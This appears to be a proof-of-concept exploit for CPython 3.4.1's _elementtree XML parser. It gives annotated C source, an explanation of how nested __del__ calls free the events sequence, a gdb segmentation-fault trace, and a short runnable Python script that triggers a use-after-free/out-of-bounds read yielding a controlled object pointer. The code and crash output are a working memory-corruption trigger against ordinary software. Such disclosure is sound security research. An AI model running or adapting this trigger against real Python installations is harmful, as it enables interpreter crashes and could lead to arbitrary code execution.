# xmlparser_setevents(XMLParserObject *self, PyObject* args) # { # ... # /* clear out existing events */ # Py_CLEAR(target->start_event_obj); # 1 Py_CLEAR(target->end_event_obj); # Py_CLEAR(target->start_ns_event_obj); # Py_CLEAR(target->end_ns_event_obj); # # ... # # seqlen = PySequence_Size(events_seq); # for (i = 0; i < seqlen; ++i) { # 3 PyObject *event_name_obj = PySequence_Fast_GET_ITEM(events_seq, i); # ... # # if (event_name == NULL) { # ... # return NULL; # } else if (strcmp(event_name, "start") == 0) { # ... # } else if (strcmp(event_name, "end") == 0) { # Py_INCREF(event_name_obj); # 2 Py_XDECREF(target->end_event_obj); # target->end_event_obj = event_name_obj; # } # ... # } # ... # } # # This one leverages nested _setevents invocations. First invocation sets # target->end_event_obj to S1 instance. On seconds invocation, # target->end_event_obj has refcnt==1, so DECREF at line 1 triggers S1.__del__(). # Destructor invokes _setevents again and sets target->end_event_obj to a S3 # instance (with refcnt==1). After we return from nested call at line 1, # execution continues until it hits an "end" element. At line 2 S3.__del__() is # called and it deallocates "events_seq". This triggers a controlled OOB (we can # call it a use after free too) read at line 3. We can control a PyObject pointer. # # Program received signal SIGSEGV, Segmentation fault. # 0x4068563b in xmlparser_setevents (self=0x40669e4c, args=([], [])) at /home/p/Python-3.4.1/Modules/_elementtree.c:3560 # 3560 PyObject *event_name_obj = PySequence_Fast_GET_ITEM(events_seq, i); # (gdb) print i # 1ドル = 1337 # (gdb) print *(PyListObject*)events_seq # 2ドル = {ob_base = {ob_base = {_ob_next = 0x40669df4, _ob_prev = 0x4055f814, ob_refcnt = 3, ob_type = 0x830e1c0 }, # ob_size = 0}, ob_item = 0x0, allocated = 0} # import xml.etree.ElementTree as et class S1(str): def __del__(self): global parser print("__del__ 1") parser._setevents([], [S3("end")]) class S2(str): def __del__(self): print("__del__ 2") class S3(str): def __del__(self): global L print("__del__ 3") L[:] = [] L = [S2("start") for i in range(1336)]+[S2("end")]+["boom!"] parser = et.XMLParser(target=et.TreeBuilder()) parser._setevents([], [S1("end")]) parser._setevents([], L)

AltStyle によって変換されたページ (->オリジナル) /